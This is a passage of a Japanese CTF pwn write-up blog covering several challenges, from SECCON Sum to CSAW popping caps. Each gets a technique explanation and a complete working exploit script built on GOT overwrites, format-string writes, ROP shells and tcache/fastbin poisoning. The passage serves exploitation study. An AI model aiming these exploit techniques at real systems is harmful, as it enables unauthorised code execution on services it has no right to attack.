        self.res = [self.encode(int(k,2)) for k in res.keys()]

    def read_qubits(self, circ):
        self.received_qubits = circ.qubits
        for i in range(0, len(self.received_qubits), 9):
            circ.cx(self.received_qubits[i], self.received_qubits[i+1])
            circ.cx(self.received_qubits[i], self.received_qubits[i+2])
            circ.ccx(self.received_qubits[i+1], self.received_qubits[i+2], self.received_qubits[i])
            circ.h(self.received_qubits[i])
            circ.cx(self.received_qubits[i+3], self.received_qubits[i+4])
            circ.cx(self.received_qubits[i+3], self.received_qubits[i+5])
            circ.ccx(self.received_qubits[i+4], self.received_qubits[i+5], self.received_qubits[i+3])
            circ.h(self.received_qubits[i+3])
            circ.cx(self.received_qubits[i+6], self.received_qubits[i+7])
            circ.cx(self.received_qubits[i+6], self.received_qubits[i+8])
            circ.ccx(self.received_qubits[i+7], self.received_qubits[i+8], self.received_qubits[i+6])
            circ.h(self.received_qubits[i+6])
            circ.cx(self.received_qubits[i], self.received_qubits[i+3])
            circ.cx(self.received_qubits[i], self.received_qubits[i+6])
            circ.ccx(self.received_qubits[i+3], self.received_qubits[i+6], self.received_qubits[i])

        circ = self.encrypt_flag(circ)
        self.decrypt_flag(circ)


def classical_channel(message, dest):
    dest.read_message(message)


def quantum_channel(qcirc, dest):
    # noise
    dest.read_qubits(qcirc)


def connect(local, remote):
    remote.send_message('passwd:', local)
    pwd = input()
    local.send_qubits(pwd, remote)
    remote.send_message(', '.join(remote.res), local)


def main(nbits):
    local = LocalQuantumComputer(nbits)
    remote = RemoteQuantumComputer(nbits)
    connect(local, remote)


if __name__=='__main__':
    nbits = 8*len(flag)
    main(nbits=nbits)

The server encrypts the flag with quantum computing. But practically, it is no needed to know about quantum computing. After some local experiments and observations, I noticed that the flag is masked by key and our input. So we should input 0 as the password to reduce the bit size of the mask.

Connect to the server many times and get statistics of the masked flag, then the flag can be recovered.

yoshi-pwn 1Q

ちょっとどいういう経緯か憶えてないのですが最近ptr-yudaiにpwnを教えてもらうyoshi-pwnというのをやっています(yoshiking関係ないけど)。週1で通話しながら問題の解き方を教えてもらう感じで。せっかくなのでどんな問題をやったかというのを残しておきます。少しずつ書いているので常体敬体が入り混じって気持ち悪い文章になっています。また、文章の都合上私が自分で考えてexploitを書いているように表現されていますが、基本的にptr-yudaiに方針を教えてもらいながら書いています。

SECCON 2019 - Sum

だいたいこんな感じ

void setup() __attribute__((constructor)) {
    setvbuf(stdout, 0);
    setvbuf(stdin, 0);
    alarm(hoge);
}

void read_ints(int*xs, int n) {
    for (int i = 0; i <= n; i++) {
        xs[i] = read_int();
    }
}
int sum(int* xs, int *ptr) {
    int i = 0;
    for (i = 0; xs[i] != 0; i++) {
        *ptr += xs[i];
    }
    return i;
}
int main() {
    long xs[5];
    long ptr;
    long target;
    
    target = 0;
    ptr = &target;
    read_ints(xs, 5);
    if (sum(xs, ptr) > 5) {
        exit(-1);
    }
    printf("%lld\n", target);
    return 0;
}

値を5つ入力して和を計算してくれるが条件式をバグらせてて6個入力できてしまい、6個目の入力が和を代入するポインタを上書きするので実質好きなアドレスに好きな値を書き込むことができる。(アドレスaに値xを書き込むとして、 1, 1, 1, 1, x - a - 4, a みたいな入力を作れば良い)

この状態でどうにかしてlibc_baseをとりシェルを取る。想定解法(?)ではなんかROPができることを利用するらしいが気が付きようがないので次のようにやった。

  1. exit@gotsetup に向ける。すると何度も繰り返して任意アドレスに値を書き込めるようになる
  2. setvbuf@gotputs@plt に向ける
  3. bssセクションにstdout, stdinへのポインタがおいてあるので、stdoutをstdin (.bss) に向ける。これで次の実行時に setvbuf(stdout, 0, 0)puts(&stdin) になるので libc baseが取れる
  4. exit@got などを上書きして One Gadget を発火させる

いやすげー

from ptrlib import *
import sys

elf = ELF("./sum")
if len(sys.argv) <= 1:
    sock = Process("./sum")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    libc = ELF("./libc.so")

def query(addr, value):
    sock.recvuntil("4 0\n")
    payload = []
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(1))
    payload.append(str(value - addr - 4))
    payload.append(str(addr))
    print("[+] debug {}".format(payload))
    print("[+] addr: {:x}, value: {:x}".format(addr, value))
    sock.sendline(" ".join(payload))

ONESHOT_OFFSET = 0x10a38c
print(libc.symbol("_IO_2_1_stdin_"))

query(elf.got("exit"), elf.symbol("_start"))
query(elf.got("setvbuf"), elf.plt("puts"))
query(0x601060, 0x601071) # stdout = &stdin (.bss)
stdin = u64(sock.recvline()) << 8
_ = u64(sock.recvline())
libc_base = stdin - libc.symbol("_IO_2_1_stdin_")
print("[+] libc_base: 0x{:08x}".format(libc_base))
query(elf.got("exit"), libc_base + ONESHOT_OFFSET)
sock.interactive()

StarCTF 2019 - quicksort

32bit のバイナリでセキュリティ機構としてはNX bitとStack Canaryだけが有効。なんだか簡単そうですね。大体以下のようなプログラムで、問題名の示すとおり、sortではquicksortが実装されていそうです。

int main() {
    char buf[16];
    int *xs;
    int n;
    scanf("%d", &n);
    xs = malloc(sizeof(int) * n);
    for (int i = 0; i < n; i++) {
        gets(buf);
        xs[i] = atoi(buf);
    }
    
    sort(xs, n);
    for (int i = 0; i < n; i++) {
        printf("%d ", xs[i]);
    }
    free(xs);
}

gets 関数を使っているので自明にBuffer Overflowがあります。今回はスタック上のxsの値を書き換えることにします。すると xs[i] = atoi(buf) が実質任意のアドレスへの任意の値の書き込みになることがわかります。GOT Overwriteをつかって atoi@got <- printf@plt となるように書き換えてやると、今度は printf(buf) が実行されることになってFomat String Bugが引き起こせそうです。

Format String Bugが使えると、スタックの値を自由に読み出せるので、main関数の戻りアドレスである __libc_start_main + 241 のアドレスを読むことによってlibc_baseが求まります。あとは atoi@gotsystem@libc などに変更できれば勝ちです。

しかしこれが意外と難しく、 xs を壊さないようにとなるとFSBで使える文字数が15文字までに制限されてしまい 、一度の入力では4バイト全てを書き換えることは不可能です。そこで、次のような方針を取ることにしました。

  1. FSBsetbuf@got を1バイトずつ書き換えて、これを system@libc に向けます
  2. FSBatoi@got を1バイトだけ書き換えて、 printf@plt に向いていたものを setbuf@plt に書き換えます
  3. この状態で atoi を呼び出すと、最終的に system@libc の呼び出しになるので、 /bin/sh などを実行してシェルを取ります

ここで setbuf が急にでてきましたが、バイナリ中で呼び出されていて、ループ中に呼ばれておらず、printf@pltsetbuf@plt が1バイトだけ異なるので一度のFSBで書き換えられる、という理由によるものです。この条件を満たしていないと書き換えの途中で壊れたアドレスにジャンプしてエラーになってしまいます。

というわけでexploitです。 ptrlibのfsb関数は(この時点では)1バイトずつの書き換えに対応していなかったので自分でformat stringを構築しました(この問題を解いているときにこの問題が発覚し、現在では修正されています)。

from ptrlib import *

sock = Process("./quicksort")
elf = ELF("./quicksort")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

sock.recvline()

# atoi@got <- printf@plt
payload = b"A" * (0x2c - 0x1c) + p32(100) + p32(0) + p32(0xdeadbeef) + p32(elf.got("atoi") - 4)
sock.sendline("100")
sock.sendlineafter(":", payload)
sock.sendlineafter(":", str(elf.plt("printf")))

# get libc base by FSB
sock.sendlineafter(":", "%{}$p<>".format(0x17))
libc_start_main_addr = int(sock.recvuntil("<>")[:-2], 16)
libc_base = libc_start_main_addr - 241 - libc.symbol("__libc_start_main")
system_addr = libc.symbol("system") + libc_base
print("[+] libc_base: {:0x}".format(libc_base))
print("[+] setbuf: {:0x}".format(elf.got("setbuf")))
print("[+] system_addr: {:0x}".format(system_addr))

for i in range(4):
    addr = p32(elf.got("setbuf") + i)
    value = (system_addr >> (8 * i)) & 0xff
    value = (value - len(addr) - 1) % 0x100 + 1

    payload = addr
    payload += str2bytes("%{value}c%{index}$hhn".format(
        addr=addr,
        value=value,
        index=7
    ))
    sock.sendlineafter(":", payload)

addr = p32(elf.got("atoi"))
value = elf.plt("setbuf") & 0xff
value = value - len(addr)
payload = addr
payload += str2bytes("%{value}c%{index}$hhn".format(
    addr=addr,
    value=value,
    index=7
))
sock.sendlineafter(":", payload)
sock.sendlineafter(":", "/bin/sh")

sock.interactive()

GOT Overwriteで直接 system などを呼び出すのではなく、エントリを printfの呼び出しに書き換えてFSBを引き起こすテクをはじめて知りました。面白いですね

SuSeC CTF 2020 | Unary

何気にptr-yudai作問の問題(だったはず)。 64bitバイナリで、Stack Canaryが存在しません。これはコンパイルオプションで抑制したのではなく、ソースコード内にオーバーフローが存在しなさそうだとコンパイラが判断した結果のようです。

この問題はインクリメント ++ やビット反転 ~ などの関数をインデックスを指定して呼び出すのですが、この呼び出しが call [inc + input*8] のように呼び出されているうえ入力にチェックが含まれていないので、不正なインデックスを指定することでgotにエントリが存在する関数を呼び出すことが出来ます。これで puts@got(puts@got) などをしてlibc_baseが得られ、続いて scanf@got("%s") を呼び出して(ここで %s はelfの中から探してきてアドレスを入力として指定します)Buffer Overflowを起こすと、Stack Canaryが存在しないのでそのままRIPが得られ、one gadgetなどに飛ばして勝ちです。

from ptrlib import *


sock = Process("./unary")
elf = ELF("./unary")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ELF_BASE = 0x400000
ope = 0x600e00 # elf.symbol("inc")

def call(addr, arg):
    sock.sendlineafter("Operator: ", str((addr - ope) // 8 + 1))
    sock.sendlineafter("x = ", str(arg))

call(elf.got("puts"), elf.got("puts"))
puts_addr = u64(sock.recvline())
libc_base = puts_addr - libc.symbol("puts")
print("[+] libc_base: {:0x}".format(libc_base))


one_gadget = 0x10a38c + libc_base
payload = b"A" * (0x2C) + p64(one_gadget)
ps_addr = ELF_BASE + next(elf.find("%s"))
call(elf.got("__isoc99_scanf"), ps_addr)
sock.sendline(payload)
sock.sendlineafter("Operator: ", "0") # EXIT
sock.interactive()

易しい問題でしたね(自力では解けてないが)

Fireshell CTF 2020 - FireHTTPD

64bitバイナリ。Full RELROでPIE enabledです。中身は簡易HTTPサーバですが、refererの処理がバグっていてFSBが可能です。

     if ( !strncmp(&s1, "Referer: ", 9uLL) )
       sprintf(s, &s1);

いつものように __libc_start_main のアドレスをスタック上から探してlibc_baseを入手します(途中の関数のバッファが結構大きいので遠くまでスタックを掘りに行く必要があります。また、64bitバイナリでは最初の5引数はレジスタ経由で渡されるので、スタックの先頭は %6$p になることに注意します(1敗))。

これができたら、同様にFSBを用いて、次はStack Canaryを取得、そしてスタックにROPコードを書き込みます。ここで単に /bin/sh を起動するだけでは、サーバ側でシェルが起動するのみで、socketを経由してこちら側から操作をすることが出来ないので、socketに該当するFDのガチャをやって dup2 で stdin / stdoutをsocketに向けておきます。

また、ROPの先頭に ret gadgetを挟んでstackがいい感じになるようにしています(movapsによるエラー回避)。

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sock = Socket("localhost", 1337)
sock.sendline("GET /")
sock.sendline("Referer: %560$p %562$p")
sock.sendline("")

sock.recvuntil("Referer: ")
stack_canary = int(sock.recvuntil(" ")[:-1], 16)
p = int(sock.recvline(),16)
libc_base = p - libc.symbol("__libc_start_main") - 231
print("[+] stack canary: 0x{:08x}".format(stack_canary))
print("[+] libc_base: 0x{:08x}".format(libc_base))

FD = 4

ROP = [
    libc_base + 0x00000000000008aa, # ret (omaginai)

    libc_base + 0x000000000002155f, # pop rdi
    FD,
    libc_base + 0x0000000000023e6a, # pop rsi
    0,
    libc_base + libc.symbol("dup2"),

    libc_base + 0x000000000002155f, # pop rdi
    FD,
    libc_base + 0x0000000000023e6a, # pop rsi
    1,
    libc_base + libc.symbol("dup2"),

    libc_base + 0x000000000002155f, # pop rdi
    libc_base + next(libc.find("/bin/sh")), # "/bin/sh"
    libc_base + libc.symbol("system") # "/bin/sh"
]

payload = str2bytes("%{}c".format(0x410 - 8 - 8 - 1))
payload += p64(stack_canary)
payload += p64(0xdeadbeefcafebabe)
for r in ROP:
    payload += p64(r)
payload = payload.replace(b"\x00", str2bytes("%{}$c".format(560)))
print(repr(payload))

sock.close()

input("PAUSE")

sock = Socket("localhost", 1337)
sock.sendline("GET /")
sock.sendline(b"Referer: " + payload)
sock.sendline("")

sock.interactive()

writeupを書くとFSBやるだけっぽく感じるけど解いてるときはいろいろ難しいんですよね。

nitac mini ctf 2020 | babynote

ptr-yudai作問。64bitのnote系バイナリでFullRELO/PIE enabledですが、libc_baseが与えられています。また、noteを作るときのread_lineに自明なバッファオーバーフローがあります。これを使うと、次のようにtcache_entryのnextを自由にできそうです。

| note 1 |
| note 2 |
| free     |
| note 2 |
| free    |
| free    |
| note 3 |
| free     | <- note3への書き込みをオーバーフローさせて tcache_entryのnextを破壊する

これで __free_hook を allocateすれば勝ちですね。

from ptrlib import *

sock = Process("./babynote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stdin_addr = int(sock.recvline().split(b": ")[1], 16)
libc_base = stdin_addr - libc.symbol("_IO_2_1_stdin_")

print("[+] libc_base: {:0x}".format(libc_base))

def create(contents):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("Contents: ", contents)

def show(idx):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("Index: ", str(idx))
    return sock.recvline()

def delete(idx):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("Index: ", str(idx))

free_hook_addr = p64(libc_base + libc.symbol("__free_hook"))
assert free_hook_addr.find(b"\n") == -1

system_addr = p64(libc_base + libc.symbol("system"))
assert system_addr.find(b"\n") == -1

create("hoge") #idx: 0
create("piyo") #idx: 1
delete(1)
input("[+] PAUSE: free 1")
delete(0)
create(b"A"*0xa0 + free_hook_addr) # overwrite tcache_entry.next
input("[+] PAUSE: overwrite_tcache_entry")
create("/bin/sh") #idx: 1
input("[+] PAUSE: next is __free_hook")
create(system_addr) # __free_hook = system
delete(1) # free(noteList[1]) == system(noteList[1])

sock.interactive()

自力AC! 天才ですか? いいえ

nitac mini CTF 2020 - ezstack

これもptr-yudai作問。サイズ制限のあるスタックに文字列をpushしたりpopしたりできる。pop時のサイズに負値を指定できて、それをやるとスタックポインタをずらすことができる。また、pop時にはスタックの末尾にNULLが書き込まれる(off-by-null)。

これができると何が嬉しいかと言うと、 saved_rbpの末尾1バイトを0埋めできる。これでsaved_rbpを破壊した後、 leave; ret; が行われると、破壊されたsaved_rbpがrspになり、その状態でのretではrspが本来よりも少し巻き戻った位置にある。これで(運が良ければ)RIPをうばうことができるので嬉しい。ptr-yudaiによるとこれはpwnerはみんな知ってるけど何故か文章としてはまとめられてないテクらしい。

from ptrlib import *

sock = Process("./ezstack")
elf = ELF("./ezstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def push(payload):
    sock.sendlineafter("> ", "1")
    sock.sendafter("data: ", payload)

def pop(size):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("size: ", str(size))
    return sock.recvline()


line = u64(pop(-(0x130))[4:])
libc_base = line - (libc.symbol("__libc_start_main") + 231)
print("[+] libc_base: {:x}".format(libc_base)) 

retgadget = p64(0x00000000000008aa + libc_base)
onegadget = p64(0x4f322 + libc_base) # 0x10a38c

rop = retgadget * ((0x100 - 0x50) // 8) + onegadget
rop += b"\0" * (0x100 - len(rop))
print(hex(len(rop)))

pop(0x130)
push(rop)
pop(-8)
sock.interactive()

へーーーー

InCTF 2019 - Schmaltz

64bitのNote系アプリでインデックスの使い方がイカレてる。きらい。add/view/deleteができ、自明double freeと、off-by-nullがある。libc 2.28。

libc 2.28から(だと思う。たぶん*1)は、tcache_entry 構造体に key というフィールドが追加されていて、エントリがtcacheに繋げられたときにkeyはtcacheのアドレスを指す。これはdouble freeの検出のために用いられていて、freeされるchunkのkeyに該当する部分がもしtcacheのアドレスになっていたら、 tcache->entries[tc_idx] を全部見て、同じアドレスが既に存在しないかを確かめる *2 。これにより libc2.27 よりは少しだけdouble freeが難しくなっている。

今回はこのチェックをoff-by-nullで回避する。アイデアは次の通り。

+---------------+
|   chunk1      |
+---------------+
|  large(>0x100)|
|  size chunk   |
+---------------+
+---------------+
| free          |
+---------------+
| free          |
|               |
+---------------+
+---------------+
| chunk1        |
+---------------+  <- ここで off-by-null を使って
|               |     chunk sizeを 0x100 にむりやり書き換える
|               |
+---------------+

malloc_chunk構造体はmchunk_prev_size, mchunk_sizeの順で並んでいるので1バイトの上書きでは mchunk_prev_sizeの末尾しか書き換えられないと思うかも知れないが、サイズが末尾が1〜8までの大きさのchunkを確保しようとする時、次のchunkの mchunk_prev_sizeと領域を共有してmallocされる)。

これで、 large size chunkを double freeしたときに key = tcacheになっているのでチェックが入るが、 malloc_chunk構造体の mchunk_size が書き換えれて、異なるtc_idxが選ばれるため、エラーにはならない。

この方針まで辿り着けば、全体の方針が立つ。

  1. double-freeをやって、 struct note notes[7] のような構造が bss セクションにあるので、ここを malloc して puts@gotを書き込み、 fake chunk 2つ(A、Bとする。Aのほうが手前にあって大きい、AがBを内包する)を用意しておく
  2. viewでputs@gotがアドレスになっているので libc_base が取れる
  3. fake chunkをそれぞれfreeする
  4. fake chunk Aをmallocして、freeされているfake chunk Bのnextを __free_hook に向ける。また bssのあいている領域に 偽の ucontext_t構造体を書き込む
  5. fake chunk Bをmallocして、note[x].bufが偽のucontext_t構造体を指すようにする
  6. 適当にmallocして、 __free_hooksetcontextに向ける
  7. note[x] を freeすると、 setcontextが呼び出されて勝利
struct note {
    char *buf;
    int size;
    int use_flag;
}

急にfake chunkとかsetcontextとかが出てわけのわからないことになっている。基本的にはdouble freeで__free_hookをnextにしてそこにsystemを書き込めばよかったはずなのだが、この問題はバイナリを LD_LIBRARY_PATH=$(pwd) ./ld-2.28.so ./schmaltz という具合にむりやり呼び出していて、system関数は環境変数を引き継いでしまうのだが、その結果 ld-2.27LD_LIBRARY_PATHの指定の通りlibc2.28を読んでしまい、/bin/sh の起動に失敗する。(は? ゴミ)

そこで今回は execve("/bin/sh", NULL, NULL) を呼び出すことにしたのだが、そこでこのような手法を用いた。 setcontext は引数に ucontext_t構造体を指定して、その構造体に保存されていたレジスタを復元するというもので、レジスタを任意に指定できるので、これでsyscall の引数をいい感じにして execve の呼び出し手前に飛ばしている。そしてこれを実現するために、アドレスがわかっていて、書き込みできる領域を作る必要が生まれた。そこでfake chunkを作成してtcacheにbss上のアドレスを追加している。

from ptrlib import  *
import os

sock = Process(["./ld-2.28.so", "./schmaltz"], env={
    "LD_LIBRARY_PATH": os.getcwd()
})
elf = ELF("./schmaltz")
libc = ELF("./libc.so.6")
note_table = 0x602060

def add(size, content):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", str(size))
    sock.sendlineafter("> ", content)

def view(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("> ", str(index))
    sock.recvuntil(": ")
    size = sock.recvline()
    sock.recvuntil(": ")
    content = sock.recvline()
    return (size, content)

def remove(index):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter("> ", str(index))

add(0x37, "hello") # 0
add(0x1e8, "size 1e8 man") # 1
add(0x20, "gomi") # 2
add(0x20, "gomi2") # 3
remove(0)
remove(1)
add(0x38, "off by null here") # 2
remove(1)
add(0xf8, p64(note_table)) # 2
add(0x1e8, "hello world") # 3

payload = p64(elf.got("puts")) + p32(0x1e8) + p32(1) # note_table[0].buf = puts@got; note_table[0].size = 0x1e8; note_table[0].flag = 1

payload += p64(0xCAFEBABE) + p64(0x1e1) # FAKE CHUNK overlap (chunk header)
payload += p64(note_table + 32) + p32(0x20) + p32(1) # note_table[2].buf = &note_table[2].buf(to free FAKECHUNK)
payload += p64(0xDEADBEEF) + p64(0x20) # FAKE CHUNK 2(chunk header)
payload += p64(note_table + 64) + p32(0x20) + p32(1) # note_table[4].buf = &note_table[4].buf(to free FAKECHUNK)


add(0x1e8, payload) # 4 <-- note_table
_, puts_got = view(0)
libc_base = u64(puts_got) - libc.symbol("puts")
print("[+] libc_base: {:0x}".format(libc_base))


remove(4) # free FAKE CHUNK 2
remove(2) # free FAKE CHUNK 1


payload2 = b"A" * 32 + p64(libc_base + libc.symbol("__free_hook")) # fill note_table[2], note_table[3], overwrite tcache_entry->next
payload2 += b"\1" * (16 * 2 + 8)
payload2 += p32(3) + p32(0) # note_ctr

# ucontext_t
payload2 += p64(0) + p64(0)                           # rdx + 0x20 --> XXX, r8
payload2 += p64(0) + p64(0)                           # rdx + 0x30 --> r9 , XXX
payload2 += p64(0) + p64(0)                           # rdx + 0x40 --> XXX, r12
payload2 += p64(0) + p64(0)                           # rdx + 0x50 --> r13, r14
payload2 += p64(0) + p64(libc_base + next(libc.find("/bin/sh")))          # rdx + 0x60 --> r15, rdi
payload2 += p64(0) + p64(0)                           # rdx + 0x70 --> rsi, rbp
payload2 += p64(0) + p64(0)                           # rdx + 0x80 --> rbx, rdx
payload2 += p64(0) + p64(0)                           # rdx + 0x90 --> XXX, rcx
payload2 += p64(note_table) + p64(libc_base + libc.symbol("execve"))               # rdx + 0xa0 --> rsp, rip
payload2 += p64(0) + p64(0)                           # rdx + 0xb0
payload2 += p64(0) + p64(0)                           # rdx + 0xc0
payload2 += p64(0) + p64(0)                           # rdx + 0xd0
payload2 += p64(note_table) + p64(0)           # rdx + 0xe0

add(0x1d8, payload2) # 3: malloc FAKE CHUNK 1
add(0x18, p64(0x6020d0 + 8 - 0x20)) # 4: malloc FAKE CHUNK2 (tcache->__free_hook)
add(0x18, p64(libc_base + libc.symbol("setcontext"))) # 5: malloc __free_hook

input("[+] pause")
print(view(4))
remove(4)
sock.interactive()

バイナリのゴミさと動かし方のゴミさが相まって、とてもわかりにくいexploitがうまれた。このwriteupを書くために解読し直すのにもかなり苦労した。

ISITDTU - iz_heap_lv2

add/edit/delete/show ができる note系。off-by-nullがある。自明double freeはない。 libc2.27想定と libc2.23想定で解いた

libc 2.27

本来PIE無効だが、PIE有効の体で解いた。PIE無効だとどこが変わったんだろう。わからない

tcacheに収まらないサイズ(binsに回されるサイズ)での consolidate(領域をfreeしたときに、既にfreeされている領域と隣接していれば併合する動き)を利用する。次のようにchunkを用意して、chunk 1をfreeしたあと、chunk2をeditしてoff-by-nullでchunk3の mchunk_size の末尾をNULLにして、 prev_in_use bitを寝かせることで、mallocからは chunk1, chunk2がfreeされているとみなされ、 chunk3をfreeしたときに 一つの大きな領域として binsに繋がれる(chunk1/chunk3が0x4f8というサイズで確保されているのは、tcacheに収まらない程度に大きく、 mchunk_sizeが0x501となって off-by-nullしたときにサイズ自体が変わらなくて都合が良いから。chunk2が0x68なのは何でも良いんだけどあとで意味があったりする)。

+---------+
| chunk 1 |
| 0x4f8   |
|         |
+---------+
| chunk 2 |
| 0x68    |
+---------+
| chunk 3 |
| 0x4f8   |
|         |
+---------+

この状態で、0x4f0のchunkを作ると、binsから必要分が供給されてちょうどchunk2の先頭部分がbinsと繋がれる。chunk2はまだアプリケーション的には確保している状態なのでshowができて、ここからlibcのアドレスが手に入る。

また、この状態でさらに0x68程度をmallocすると chunk2にoverlapする形で領域が取られるので、あとはdouble freeでtcache_entry->nextを書き換えて、 __free_hookからの system で勝利できる

from ptrlib import *

sock = Process("./iz_heap_lv2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def Edit(index, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter("data: ", data)

def Delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def Show(index):
    sock.sendlineafter("Choice: \n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.recvuntil("Data: ")
    return sock.recvline()

Add(0x4f8, b"A"*0x4f8)  # index: 0
Add(0x68 , b"B"*0x68)   # index: 1
Add(0x4f8, b"C"*0x4f8)   # index: 2
Add(0x10,  b"D"*0x10)   # index: 3 to avoid consolidate when free C

Delete(0)

payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru
payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null
assert len(payload) == 0x68

Edit(1, payload)
Delete(2)             # free buf 2, then consolidate through from buf 0 to buf 2

Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!!
bins_addr = Show(1)
libc_base = u64(bins_addr)  - libc.main_arena() - 0x60
print("libc_base: {:0x}".format(libc_base))

Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1
Delete(2)

Edit(1, p64(libc_base + libc.symbol("__free_hook"))) # edit buf 1 to modify fd

Add(0x68, b"/bin/sh") # index: 2
Add(0x68, p64(libc_base + libc.symbol("system"))) # index:4, free_hook -> system

Delete(2)
sock.interactive()

libc2.23

libc2.23でも基本的な方針は同じだが、最後に使うのがtcacheではなくfastbinになる点で異なる。fastbinではmalloc時にmchunk_sizeをみて正しいかどうかチェックする処理が入っている。__free_hook の周辺は基本的に0ばかりなのでこのチェックを通過できない。そこで今回は __malloc_hook を使う。 __malloc_hook-0x23 の位置をfastbinにつなぐようにすると、 そのchunkのmchunk_sizeが 0x7f になる(7f... ではじまる libcのアドレスが存在しているので)。これがうまくsize checkを回避してくれるので、 __malloc_hook をallocateしてsystemなどにつなげることができる(さっきchunk 2が0x68だったのはここで都合が良いから)。

というわけであとは malloc の引数に/bin/sh を渡せば良い。この解法はPIE有効だと /bin/shのアドレスが32bitに収まらなくてうまくいかなかったので、libc2.23ではPIE無効時のみ有効なexploitになった。

from ptrlib import *

sock = Socket("localhost", 9999)
libc = ELF("./libc-2.23.so")

def Add(size, data):
    sock.sendlineafter("Choice: \n", "1")
    sock.sendlineafter("size: ", str(size))
    sock.sendafter("data: ", data)

def Edit(index, data):
    sock.sendlineafter("Choice: \n", "2")
    sock.sendlineafter("index: ", str(index))
    sock.sendafter("data: ", data)

def Delete(index):
    sock.sendlineafter("Choice: \n", "3")
    sock.sendlineafter("index: ", str(index))

def Show(index):
    sock.sendlineafter("Choice: \n", "4")
    sock.sendlineafter("index: ", str(index))
    sock.recvuntil("Data: ")
    return sock.recvline()

Add(0x4f8, b"A"*0x4f8)  # index: 0
Add(0x68 , b"B"*0x68)   # index: 1
Add(0x4f8, b"C"*0x4f8)   # index: 2
Add(0x10,  b"D"*0x10)   # index: 3 to avoid consolidate when free C

Delete(0)

payload = b"B" * 0x68 # off-by-null de C no prev_in_use bit wo nekaseru
payload = payload[:-8] + p64(0x500 + 0x70) # padding + prev_size + overwrite null
assert len(payload) == 0x68

Edit(1, payload)
Delete(2)             # free buf 2, then consolidate through from buf 0 to buf 2

Add(0x4f6, b"E" * 0x4f0) # index: 0 !!!! DO NOT OVEWRITE size of next chunk by off-by-null !!!!
bins_addr = Show(1)
libc_base = u64(bins_addr)  - libc.main_arena() - 0x60 + 8
print("libc_base: {:0x}".format(libc_base))

Add(0x68, b"F" * 0x68) # index: 2, overlapped index 1
Add(0x68, b"G"*8 + b"/bin/sh") # index: 4

Delete(4)
Delete(2)
buffer_address = u64(Show(1))
print("bufaddr: 0x{:0x}".format(buffer_address))

Edit(1, p64(libc_base + libc.symbol("__malloc_hook") - 0x23)) # edit buf 1 to modify fd

Add(0x68, b"mogumogu") # index: 2
# print("0x{:0x}".format(libc_base + 0xf1147))
# Add(0x68, b"X"*0x13 + p64(libc_base + 0xf1147)) # index:4, __malloc_hook -> one_gadget (0xf1147)
Add(0x68, b"X"*0x13 + p64(libc_base + libc.symbol("system"))) # index:4, __malloc_hook -> one_gadget (0xf1147)

sock.sendlineafter("Choice: \n", "1")
sock.sendlineafter("size: ", str(buffer_address + 0x10 + 0x8 ))
sock.interactive()

CSAW CTF 2019 Quals - popping caps 1

次のようなアプリケーション(かなり意訳)

int main() {
    int buf, ptr;
    for (int i = 0; i < 7; i++) {
        int choice = menu();
        if (choice == 1) {
            buf = ptr = malloc(read_long());
        } else if (choice == 2) {
            free(ptr + read_long());
            buf = 0;
        } else if (choise == 3) {
            read(0, buf, 8); 
        } else {
            break
        }
    }
    malloc(0x38);
    _exit();
}

7回の操作で __malloc_hook を one gadget に向けられたら最後の malloc でシェルが取れる。libc2.27なので単にdouble freeを用いたtcache poinsoningで良さそうなものだが、それだと7回に収まらないので、どうにかして直接 tcache->__malloc_hookを実現したい。これをやるために、tcache_perthread_structmalloc してきてその entries[i]に直接書き込むことを考える。実は tcache_perthread_struct は最初のmalloc時にheapの先頭に確保され、そのサイズは(chunk headerを含めて)0x250である。今回はfreeする際にポインタからのオフセットを指定できるので、これを用いれば tcache_perthread_struct に該当する領域をfreeすることは難しくはなさそう。ヒープは次のような状態になるので、offsetに-0x260程度を指定すれば良い。

| tcache_perthread_struct |  <- heap header
| ......................  |
|                         |  <- heap head + 0x250
| prev_size  |     size   |  <- chunk header for chunk1
|                         |  <- chunk1 addr

(今回はstdout/stderr/stdinのバッファリングが無効化されているが、バッファリングが行われているときは間にそれぞれのバッファが挟まるのでその分だけオフセットはずれることになる)。

あとは指定したアドレスをfake chunkとして見たときに mchunk_size が適切になっていれば、tcacheにtcache_perthread_struct をつなげることができる。 tcache_perthread_struct の定義は次のようになっている。

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

これはメモリ上では次のように示される。1バイトのカウンタが64個と、8バイトのポインタが64個並ぶ。

counts[64]  | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000000  |
entries[64] | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000000  |
            | ...                                 |
            |                                     |

これを見ると、 counts の適当な位置を操作すると、 malloc_chunkmchunk_size として扱えそうに見えてくる。具体的にはこのようにしたい。

counts[64]  | 0000000000000000  0000000000000000  |
            | 0000000000000000  0000000000000100  |
entries[64] | 0000000000000000  0000000000000000  |  <-このアドレスを指定して free する
            | 0000000000000000  0000000000000000  |
